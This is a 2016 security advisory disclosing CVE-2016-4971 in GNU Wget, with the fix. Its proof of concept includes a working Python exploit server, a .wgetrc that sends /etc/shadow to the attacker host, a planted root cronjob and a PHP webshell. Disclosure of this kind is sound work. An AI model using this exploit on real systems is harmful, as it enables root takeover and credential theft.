GNU Wget Arbitrary File Upload / Potential Remote Code Execution
Posted on 06 July 2016
============================================= - Release date: 06.07.2016 - Discovered by: Dawid Golunski - Severity: High - CVE-2016-4971 ============================================= I. VULNERABILITY ------------------------- GNU Wget < 1.18 Arbitrary File Upload / Potential RCE II. BACKGROUND ------------------------- "GNU Wget is a free software package for retrieving files using HTTP, HTTPS and FTP, the most widely-used Internet protocols. It is a non-interactive commandline tool, so it may easily be called from scripts, cron jobs, terminals without X-Windows support, etc. GNU Wget has many features to make retrieving large files or mirroring entire web or FTP sites easy " https://www.gnu.org/software/wget/ III. INTRODUCTION ------------------------- GNU Wget before 1.18 when supplied with a malicious URL (to a malicious or compromised web server) can be tricked into saving an arbitrary remote file supplied by an attacker, with arbitrary contents and filename under the current directory and possibly other directories by writing to .wgetrc. Depending on the context in which wget is used, this can lead to remote code execution and even root privilege escalation if wget is run via a root cronjob as is often the case in many web application deployments. The vulnerability could also be exploited by well-positioned attackers within the network who are able to intercept/modify the network traffic. IV. DESCRIPTION ------------------------- Because of lack of sufficient controls in wget, when user downloads a file with wget, such as: wget http://attackers-server/safe_file.txt an attacker who controls the server could make wget create an arbitrary file with an arbitrary contents and filename by issuing a crafted HTTP 30X Redirect containing FTP server reference in response to the victim's wget request. For example, if the attacker's server replies with the following response: HTTP/1.1 302 Found Cache-Control: private Content-Type: text/html; charset=UTF-8 Location: ftp://attackers-server/.bash_profile Content-Length: 262 Server: Apache wget will automatically follow the redirect and will download a malicious .bash_profile file from a malicious FTP server. It will fail to rename the file to the originally requested filename of 'safe_file.txt' as it would normally do, in case of a redirect to another HTTP resource with a different name. Because of this vulnerability, an attacker is able to upload an arbitrary file with an arbitrary filename to the victim's current directory. Execution flow: victim@trusty:~$ wget --version | head -n1 GNU Wget 1.17 built on linux-gnu. victim@trusty:~$ pwd /home/victim victim@trusty:~$ ls victim@trusty:~$ victim@trusty:~$ wget http://attackers-server/safe-file.txt Resolving attackers-server... 192.168.57.1 Connecting to attackers-server|192.168.57.1|:80... connected. HTTP request sent, awaiting response... 302 Found Location: ftp://192.168.57.1/.bash_profile [following] => ‘.bash_profile’ Connecting to 192.168.57.1:21... connected. Logging in as anonymous ... Logged in! ==> SYST ... done. ==> PWD ... done. ==> TYPE I ... done. ==> CWD not needed. ==> SIZE .bash_profile ... 55 ==> PASV ... done. ==> RETR .bash_profile ... done. Length: 55 (unauthoritative) .bash_profile 100%[=============================================================================================>] 55 --.-KB/s in 0s 2016-02-19 04:50:37 (1.27 MB/s) - ‘.bash_profile’ saved [55] victim@trusty:~$ ls -l total 4 -rw-rw-r-- 1 victim victim 55 Feb 19 04:50 .bash_profile victim@trusty:~$ This vulnerability will not work if extra options that force destination filename are specified as a paramter. Such as: -O /tmp/output It is however possible to exploit the issue with mirroring/recursive options enabled such as -r or -m. Another limitation is that attacker exploiting this vulnerability can only upload his malicious file to the current directory from which wget was run, or to a directory specified by -P option (directory_prefix option). This could however be enough to exploit wget run from home directory, or within web document root (in which case attacker could write malicious php files or .bash_profile files). The current directory limitation could also be bypassed by uploading a .wgetrc config file if wget was run from a home directory. By saving .wgetrc in /home/victim/.wgetrc an attacker could set arbitrary wget settings such as destination directory for all downloaded files in future, as well as set a proxy setting to make future requests go through a malicious proxy server belonging to the attackers to which they could send further malicious responses. Here is a set of Wget settings that can be helpful to an attacker: dir_prefix = string Top of directory tree—the same as ‘-P string’. post_file = file Use POST as the method for all HTTP requests and send the contents of file in the request body. The same as ‘--post-file=file’. recursive = on/off Recursive on/off—the same as ‘-r’. timestamping = on/off Allows to overwrite existing files. cut_dirs = n Ignore n remote directory components. Allows attacker to create directories with wget (when combined with recursive option). http_proxy HTTP Proxy server https_proxy HTTPS Proxy server output_document = file Set the output filename—the same as ‘-O file’. input = file Read the URLs from string, like ‘-i file’. metalink-over-http Issues HTTP HEAD request instead of GET and extracts Metalink metadata from response headers. Then it switches to Metalink download. If no valid Metalink metadata is found, it falls back to ordinary HTTP download. Full list of .wgetrc options can be found in: https://www.gnu.org/software/wget/manual/wget.html#Wgetrc-Commands V. PROOF OF CONCEPT EXPLOIT ------------------------- 1) Cronjob with wget scenario Often wget is used inside cronjobs. By default cronjobs run within home directory of the cronjob owner. Such wget cronjobs are commonly used with many applications used to download new version of databases, requesting web scripts that perform scheduled tasks such as rebuilding indexes, cleaning caches etc. Here are a few example tutorials for Wordpress/Moodle/Joomla/Drupal found on the Internet with exploitable wget cronjobs: https://codex.wordpress.org/Post_to_your_blog_using_email https://docs.moodle.org/2x/ca/Cron http://www.joomlablogger.net/joomla-tips/joomla-general-tips/how-to-set-up-a-content-delivery-network-cdn-for-your-joomla-site http://www.zyxware.com/articles/4483/drupal-how-to-add-a-cron-job-via-cpanel Such setup could be abused by attackers to upload .bash_profile file through wget vulnerability and run commands in the context of the victim user upon their next log-in. As cron runs priodically attackers, could also write out .wgetrc file in the first response and then write to /etc/cron.d/malicious-cron in the second. If a cronjob is run by root, this would give them an almost instant root code execution. It is worth noting that if an attacker had access to local network they could potentially modify unencrypted HTTP traffic to inject malicious 30X Redirect responses to wget requests. This issue could also be exploited by attackers who have already gained access to the server through a web vulnerability to escalate their privileges. In many cases the cron jobs (as in examples above) are set up to request various web scripts e.g: http://localhost/clean-cache.php If the file was writable by apache, and attacker had access to www-data/apache account, they could modify it to return malicious Location header and exploit root cronjob that runs the wget request in order to escalate their privileges to root. For simplicity we can assume that attacker already has control over the server that the victim sends the request to with wget. The root cronjob on the victim server may look as follows: root@victim:~# cat /etc/cron.d/update-database # Update database file every 2 minutes */2 * * * * root wget -N http://attackers-server/database.db > /dev/null 2>&1 In order to exploit this setup, attacker first prepares a malicious .wgetrc and starts an FTP server: attackers-server# mkdir /tmp/ftptest attackers-server# cd /tmp/ftptest attackers-server# cat <<_EOF_>.wgetrc post_file = /etc/shadow output_document = /etc/cron.d/wget-root-shell _EOF_ attackers-server# sudo pip install pyftpdlib attackers-server# python -m pyftpdlib -p21 -w At this point attacker can start an HTTP server which will exploit wget by sending malicious redirects to the victim wget's requests: ---[ wget-exploit.py ]--- #!/usr/bin/env python # # Wget 1.18 < Arbitrary File Upload Exploit # Dawid Golunski # dawid( at )legalhackers.com # # http://legalhackers.com/advisories/Wget-Arbitrary-File-Upload-Vulnerability-Exploit.txt # # CVE-2016-4971 # import SimpleHTTPServer import SocketServer import socket; class wgetExploit(SimpleHTTPServer.SimpleHTTPRequestHandler): def do_GET(self): # This takes care of sending .wgetrc print "We have a volunteer requesting " + self.path + " by GET :) " if "Wget" not in self.headers.getheader('User-Agent'): print "But it's not a Wget :( " self.send_response(200) self.end_headers() self.wfile.write("Nothing to see here...") return print "Uploading .wgetrc via ftp redirect vuln. It should land in /root " self.send_response(301) new_path = '%s'%('ftp://anonymous@%s:%s/.wgetrc'%(FTP_HOST, FTP_PORT) ) print "Sending redirect to %s "%(new_path) self.send_header('Location', new_path) self.end_headers() def do_POST(self): # In here we will receive extracted file and install a PoC cronjob print "We have a volunteer requesting " + self.path + " by POST :) " if "Wget" not in self.headers.getheader('User-Agent'): print "But it's not a Wget :( " self.send_response(200) self.end_headers() self.wfile.write("Nothing to see here...") return content_len = int(self.headers.getheader('content-length', 0)) post_body = self.rfile.read(content_len) print "Received POST from wget, this should be the extracted /etc/shadow file: ---[begin]--- %s ---[eof]--- " % (post_body) print "Sending back a cronjob script as a thank-you for the file..." print "It should get saved in /etc/cron.d/wget-root-shell on the victim's host (because of .wgetrc we injected in the GET first response)" self.send_response(200) self.send_header('Content-type', 'text/plain') self.end_headers() self.wfile.write(ROOT_CRON) print " File was served. Check on /root/hacked-via-wget on the victim's host in a minute! :) " return HTTP_LISTEN_IP = '192.168.57.1' HTTP_LISTEN_PORT = 80 FTP_HOST = '192.168.57.1' FTP_PORT = 21 ROOT_CRON = "* * * * * root /usr/bin/id > /root/hacked-via-wget " handler = SocketServer.TCPServer((HTTP_LISTEN_IP, HTTP_LISTEN_PORT), wgetExploit) print "Ready? Is your FTP server running?" sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) result = sock.connect_ex((FTP_HOST, FTP_PORT)) if result == 0: print "FTP found open on %s:%s. Let's go then " % (FTP_HOST, FTP_PORT) else: print "FTP is down :( Exiting." exit(1) print "Serving wget exploit on port %s... " % HTTP_LISTEN_PORT handler.serve_forever() ---[ eof ]--- Attacker can run wget-exploit.py and wait a few minutes until the victim's server executes the aforementioned cronjob with wget. The output should look similar to: ---[ wget-exploit.py output ]--- attackers-server# python ./wget-exploit.py Ready? Is your FTP server running? FTP found open on 192.168.57.1:21. Let's go then Serving wget exploit on port 80... We have a volunteer requesting /database.db by GET :) Uploading .wgetrc via ftp redirect vuln. It should land in /root 192.168.57.10 - - [26/Feb/2016 15:03:54] "GET /database.db HTTP/1.1" 301 - Sending redirect to ftp://anonymous@192.168.57.1:21/.wgetrc We have a volunteer requesting /database.db by POST :) Received POST from wget, this should be the extracted /etc/shadow file: ---[begin]--- root:$6$FsAu5RlS$b2J9GDm.....cut......9P19Nb./Y75nypB4FXXzX/:16800:0:99999:7::: daemon:*:16484:0:99999:7::: bin:*:16484:0:99999:7::: sys:*:16484:0:99999:7::: sync:*:16484:0:99999:7::: games:*:16484:0:99999:7::: man:*:16484:0:99999:7::: lp:*:16484:0:99999:7::: ...cut... ---[eof]--- Sending back a cronjob script as a thank-you for the file... It should get saved in /etc/cron.d/wget-root-shell on the victim's host (because of .wgetrc we injected in the GET first response) 192.168.57.10 - - [26/Feb/2016 15:05:54] "POST /database.db HTTP/1.1" 200 - File was served. Check on /root/hacked-via-wget on the victim's host in a minute! :) ---[ output eof ]--- As we can see .wgetrc got uploaded by the exploit. It has set the post_file setting to /etc/shadow. Therefore, on the next wget run, wget sent back shadow file to the attacker. It also saved the malicious cronjob script (ROOT_CRON variable) which should create a file named /root/hacked-via-wget, which we can verify on the victim's server: root@victim:~# cat /etc/cron.d/wget-root-shell * * * * * root /usr/bin/id > /root/hacked-via-wget root@victim:~# cat /root/hacked-via-wget uid=0(root) gid=0(root) groups=0(root) 2) PHP web application scenario If wget is used within a PHP script e.g.: <?php // Update geoip data system("wget -N -P geoip http://attackers-host/goeip.db"); ?> An attacker who manages to respond to the request could simply upload a PHP backdoor of: <?php //webshell.php system($_GET['cmd']); ?> by using the wget-exploit script described in example 1. After the upload he could simply execute the script and their shell command by a GET request to: http://victims-php-host/geoip/webshell.php?cmd=id VI. BUSINESS IMPACT ------------------------- Affected versions of wget that connect to untrusted (or compromised) web servers could be tricked into uploading a file under an arbitrary name, or even path (if wget is run from a home directory). Depending on the context in which wget is used, this could lead to uploading a web shell and granting the attacker access remote access to the system, or privilege escalation. It could be possible for attackers to escalate to root user if wget is run via root cronjob as it is often the case in web application deployments and is recommended in some guides on the Internet. The vulnerability could also be exploited by well-positioned attackers within the networ who are able to intercept/modify the network traffic. VII. SYSTEMS AFFECTED ------------------------- All versions of Wget before the patched version of 1.18 are affected. VIII. SOLUTION ------------------------- Update to wget version 1.18 as advertised by the vendor at: http://lists.gnu.org/archive/html/info-gnu/2016-06/msg00004.html Linux distributions should update their wget packages. It is recommended to update wget manually if an updated package is not available for your distribution. IX. REFERENCES ------------------------- http://legalhackers.com http://legalhackers.com/advisories/Wget-Arbitrary-File-Upload-Vulnerability-Exploit.txt http://lists.gnu.org/archive/html/info-gnu/2016-06/msg00004.html http://www.ubuntu.com/usn/usn-3012-1/ https://bugzilla.redhat.com/show_bug.cgi?id=1343666#c1 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-4971 X. CREDITS ------------------------- The vulnerability has been discovered by Dawid Golunski dawid (at) legalhackers (dot) com legalhackers.com XI. REVISION HISTORY ------------------------- 06.07.2016 - Advisory released XII. LEGAL NOTICES ------------------------- The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. I accept no responsibility for any damage caused by the use or misuse of this information.
